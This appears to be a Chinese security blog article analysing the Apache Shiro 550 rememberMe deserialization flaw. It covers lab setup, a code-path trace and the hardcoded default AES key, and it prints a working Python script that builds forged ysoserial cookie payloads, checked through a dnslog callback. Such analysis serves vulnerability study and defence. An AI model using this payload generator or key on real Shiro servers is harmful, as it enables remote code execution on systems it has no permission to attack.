Java安全之Shiro 550反序列化漏洞分析

Java安全之Shiro 550反序列化漏洞分析

首發自安全客:Java安全之Shiro 550反序列化漏洞分析html

0x00 前言

在近些時間基本都能在一些滲透或者是攻防演練中看到Shiro的身影,也是Shiro的該漏洞也是用的比較頻繁的漏洞。本文對該Shiro550 反序列化漏洞進行一個分析,瞭解漏洞產生過程以及利用方式。java

0x01 漏洞原理

Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,產生緣由是由於shiro接受了Cookie裏面rememberMe的值,而後去進行Base64解密後,再使用aes密鑰解密後的數據,進行反序列化。python

反過來思考一下,若是咱們構造該值爲一個cc鏈序列化後的值進行該密鑰aes加密後進行base64加密,那麼這時候就會去進行反序列化咱們的payload內容,這時候就能夠達到一個命令執行的效果。git

獲取rememberMe值 -> Base64解密 -> AES解密 -> 調用readobject反序列化操做

0x02 漏洞環境搭建

漏洞環境:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4github

打開shiro/web目錄,對pom.xml進行配置依賴配置一個cc4和jstl組件進來,後面再去說爲何shiro自帶了commons-collections:3.2.1還要去手工配置一個commons-collections:4.0web

<properties>

    <maven.compiler.source>1.6</maven.compiler.source>

    <maven.compiler.target>1.6</maven.compiler.target>

    </properties>

...
<dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <!--  這裏須要將jstl設置爲1.2 -->
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

坑點

Shiro的編譯太痛苦了,各類坑,下面來排一下坑。算法

配置maven\conf\toolchains.xml,這裏須要指定JDK1.6的路徑和版本,編譯必需要1.6版本,但不影響在其餘版本下運行。express

<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>D:\JAVA_JDK\jdk1.6</jdkHome>
    </configuration>
  </toolchain>
</toolchains>

這些都完成後進行編譯。apache

Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure

這裏仍是報錯了。api

後面編譯的時候,切換成了maven3.1.1的版本。而後就能夠編譯成功了。

可是後面又發現部署的時候訪問不到,編譯確定又出了問題。

後面把這兩個裏面的<scope>標籤給註釋掉,而後就能夠了。

把pom.xml配置貼一下。

<?xml version="1.0" encoding="UTF-8"?>
<!--
  ~ Licensed to the Apache Software Foundation (ASF) under one
  ~ or more contributor license agreements.  See the NOTICE file
  ~ distributed with this work for additional information
  ~ regarding copyright ownership.  The ASF licenses this file
  ~ to you under the Apache License, Version 2.0 (the
  ~ "License"); you may not use this file except in compliance
  ~ with the License.  You may obtain a copy of the License at
  ~
  ~     http://www.apache.org/licenses/LICENSE-2.0
  ~
  ~ Unless required by applicable law or agreed to in writing,
  ~ software distributed under the License is distributed on an
  ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
  ~ KIND, either express or implied.  See the License for the
  ~ specific language governing permissions and limitations
  ~ under the License.
  -->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
    <properties>

        <maven.compiler.source>1.6</maven.compiler.source>

        <maven.compiler.target>1.6</maven.compiler.target>

    </properties>
    <parent>
        <groupId>org.apache.shiro.samples</groupId>
        <artifactId>shiro-samples</artifactId>
        <version>1.2.4</version>
        <relativePath>../pom.xml</relativePath>
    </parent>

    <modelVersion>4.0.0</modelVersion>
    <artifactId>samples-web</artifactId>
    <name>Apache Shiro :: Samples :: Web</name>
    <packaging>war</packaging>

    <build>
        <plugins>
            <plugin>
                <artifactId>maven-surefire-plugin</artifactId>
                <configuration>
                    <forkMode>never</forkMode>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.mortbay.jetty</groupId>
                <artifactId>maven-jetty-plugin</artifactId>
                <version>${jetty.version}</version>
                <configuration>
                    <contextPath>/</contextPath>
                    <connectors>
                        <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
                            <port>9080</port>
                            <maxIdleTime>60000</maxIdleTime>
                        </connector>
                    </connectors>
                    <requestLog implementation="org.mortbay.jetty.NCSARequestLog">
                        <filename>./target/yyyy_mm_dd.request.log</filename>
                        <retainDays>90</retainDays>
                        <append>true</append>
                        <extended>false</extended>
                        <logTimeZone>GMT</logTimeZone>
                    </requestLog>
                </configuration>
            </plugin>
        </plugins>
    </build>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>servlet-api</artifactId>
<!--            <scope>provided</scope>-->
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-log4j12</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>net.sourceforge.htmlunit</groupId>
            <artifactId>htmlunit</artifactId>
            <version>2.6</version>
<!--            <scope>test</scope>-->
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jsp-2.1-jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>jcl-over-slf4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <!--  這裏須要將jstl設置爲1.2 -->
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>


</project>

通過2天的排坑,終於把這個坑給解決掉,這裏必須貼幾張照片慶祝慶祝。

輸入帳號密碼,勾選Remerber me選項。進行抓包

下面就能夠來分析該漏洞了。

0x03 漏洞分析

加密

漏洞產生點在CookieRememberMeManager該位置,來看到rememberSerializedIdentity方法。

該方法的做用爲使用Base64對指定的序列化字節數組進行編碼,並將Base64編碼的字符串設置爲cookie值。

那麼咱們就去查看一下該方法在什麼地方被調用。

在這能夠看到該類繼承的AbstractRememberMeManager類調用了該方法。跟進進去查看

發現這個方法被rememberIdentity方法給調用了,一樣方式繼續跟進。

在這裏會發現rememberIdentity方法會被onSuccessfulLogin方法給調用,跟蹤到這一步,就看到了onSuccessfulLogin登陸成功的方法。

當登陸成功後會調用AbstractRememberMeManager.onSuccessfulLogin方法,該方法主要實現了生成加密的RememberMe Cookie,而後將RememberMe Cookie設置爲用戶的Cookie值。在前面咱們分析的rememberSerializedIdentity方法裏面去實現了。能夠來看一下這段代碼。

回到onSuccessfulLogin這個地方,打個斷點,而後web登陸頁面輸入root/secret 口令進行提交,再回到IDEA中查看。找到登陸成功方法後,咱們能夠來正向去作個分析,否則剛剛的方式比較麻煩。

這裏看到調用了isRememberMe很顯而易見得發現這個就是一個判斷用戶是否選擇了Remember Me選項。

若是選擇Remember Me功能的話返回true,若是不選擇該選項則是調用log.debug方法在控制檯輸出一段字符。

這裏若是爲true的話就會調用rememberIdentity方法而且傳入三個參數。F7跟進該方法。

前面說過該方法會去生成一個PrincipalCollection對象,裏面包含登陸信息。F7進行跟進rememberIdentity方法。

查看convertPrincipalsToBytes具體的實現與做用。

跟進該方法查看具體實現。

看到這裏其實已經很清晰了,進行了一個序列化,而後返回序列化後的Byte數組。

再來看到下一段代碼,這裏若是getCipherService方法不爲空的話,就會去執行下一段代碼。getCipherService方法是獲取加密模式。

仍是繼續跟進查看。

查看調用,會發如今構造方法裏面對該值進行定義。

完成這一步後,就來到了這裏。

調用encrypt方法,對序列化後的數據進行處理。繼續跟進。

這裏調用cipherService.encrypt方法而且傳入序列化數據,和getEncryptionCipherKey方法。

getEncryptionCipherKey從名字上來看是獲取密鑰的方法,查看一下,是怎麼獲取密鑰的。

查看調用的時候,發現setCipherKey方法在構造方法裏面被調用了。

查看DEFAULT_CIPHER_KEY_BYTES值會發現裏面定義了一串密鑰

而這個密鑰是定義死的。

返回剛剛的加密的地方。

這個地方選擇跟進,查看具體實現。

查看到這裏發現會傳入前面序列化的數組和key值,最後再去調用他的重載方法而且傳入序列化數組、key、ivBytes值、generate。

iv的值由generateInitializationVector方法生成,進行跟進。

查看getDefaultSecureRandom方法實現。

返回generateInitializationVector方法繼續查看。這個new了一個byte數組長度爲16

最後獲得這個ivBytes值進行返回。

這裏執行完成後就拿到了ivBytes的值了,這裏再回到加密方法的地方查看具體加密的實現。

這裏調用crypt方法進行獲取到加密後的數據,而這個output是一個byte數組,大小是加密後數據的長度加上iv這個值的長度。

iv 的小tips

  • 某些加密算法要求明文須要按必定長度對齊,叫作塊大小(BlockSize),咱們此次就是16字節,那麼對於一段任意的數據,加密前須要對最後一個塊填充到16 字節,解密後須要刪除掉填充的數據。
  • AES中有三種填充模式(PKCS7Padding/PKCS5Padding/ZeroPadding)
  • PKCS7Padding跟PKCS5Padding的區別就在於數據填充方式,PKCS7Padding是缺幾個字節就補幾個字節的0,而PKCS5Padding是缺幾個字節就補充幾個字節的幾,比如缺6個字節,就補充6個字節

不瞭解加密算法的能夠看Java安全之安全加密算法

在執行完成後序列化的數據已經被進行了AES加密,返回一個byte數組。

執行完成後,來到這一步,而後進行跟進。

到了這裏其實就沒啥好說的了。後面的步驟就是進行base64加密後設置爲用戶的Cookie的rememberMe字段中。

解密

因爲咱們並不知道哪一個方法裏面去實現這麼一個功能。可是咱們前面分析加密的時候,調用了AbstractRememberMeManager.encrypt進行加密,該類中也有對應的解密操做。那麼在這裏就能夠來查看該方法具體會在哪裏被調用到,就能夠追溯到上層去,而後進行下斷點。

查看 getRememberedPrincipals方法在此處下斷點

跟蹤

返回getRememberedPrincipals方法。

在下面調用了convertBytesToPrincipals方法,進行跟蹤。

查看decrypt方法具體實現。

和前面的加密步驟相似,這裏不作詳細講解。

生成iv值,而後傳入到他的重載方法裏面。

到了這裏執行完後,就進行了AES的解密完成。

仍是回到這一步。

這裏返回了deserialize方法的返回值,而且傳入AES加密後的數據。

進行跟蹤該方法。

繼續跟蹤。

到了這步,就會對咱們傳入進來的AES解密後的數據進行調用readObject方法進行反序列化操做。

0x04 漏洞攻擊

漏洞探測

如今已經知道了是由於獲取rememberMe值,而後進行解密後再進行反序列化操做。

那麼在這裏若是拿到了密鑰就能夠僞造加密流程。

網上找的一個加密的腳本

# -*-* coding:utf-8
# @Time    :  2020/10/16 17:36
# @Author  : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog    :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES


def rememberme(command):
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
                             stdout=subprocess.PIPE)
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    # payload = encode_rememberme('127.0.0.1:12345')
    # payload = rememberme('calc.exe')
    payload = rememberme('http://u89cy6.dnslog.cn')
    with open("./payload.cookie", "w") as fpw:

        print("rememberMe={}".format(payload.decode()))
        res = "rememberMe={}".format(payload.decode())
        fpw.write(res)

獲取到值後加密後的payload後能夠在burp上面進行手工發送測試一下。

發送完成後,就能夠看到DNSLOG平臺上面回顯了。

當使用URLDNS鏈的打過去,在DNSLOG平臺有回顯的時候,就說明這個地方存在反序列化漏洞。

可是要利用的話還得是使用CC鏈等利用鏈去進行命令的執行。

漏洞利用

前面咱們手動給shio配上cc4的組件,而shiro中自帶的是cc3.2.1版本的組件,爲何要手工去配置呢?

其實shiro中重寫了ObjectInputStream類的resolveClass函數,ObjectInputStreamresolveClass方法用的是Class.forName類獲取當前描述器所指代的類的Class對象。而重寫後的resolveClass方法,採用的是ClassUtils.forName。查看該方法

public static Class forName(String fqcn) throws UnknownClassException {
    Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader.  Trying the current ClassLoader...");
        }

        clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
    }

    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader.  " + "Trying the system/application ClassLoader...");
        }

        clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
    }

    if (clazz == null) {
        String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.";
        throw new UnknownClassException(msg);
    } else {
        return clazz;
    }
}

在傳參的地方若是傳入一個Transform數組的參數,會報錯。

後者並不支持傳入數組類型。

resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持裝載數組類型的class

那麼在這裏可使用cc2和cc4的利用鏈去進行命令執行,由於這兩個都是基於javassist去實現的,而不是基於Transform數組。具體的能夠看前面個人分析利用鏈文章。

除了這兩個其實在部署的時候,能夠發現組件當中自帶了一個CommonsBeanutils的組件,這個組件也是有利用鏈的。可使用CommonsBeanutils這條利用鏈進行命令執行。

那麼除了這些方式就沒有了嘛?假設沒有cc4的組件,就必定執行不了命令了嘛?其實方式仍是有的。wh1t3p1g師傅在文章中已經給出瞭解決方案。須要從新去特殊構造一下利用鏈。

參考文章

https://www.anquanke.com/post/id/192619#h2-4

https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils

https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A

0x05 結尾

在該漏洞中我以爲主要的難點在於環境搭建上費了很多時間,還有的就是關於shiro中大部分利用鏈無法使用的解決。

相關文章
相關標籤/搜索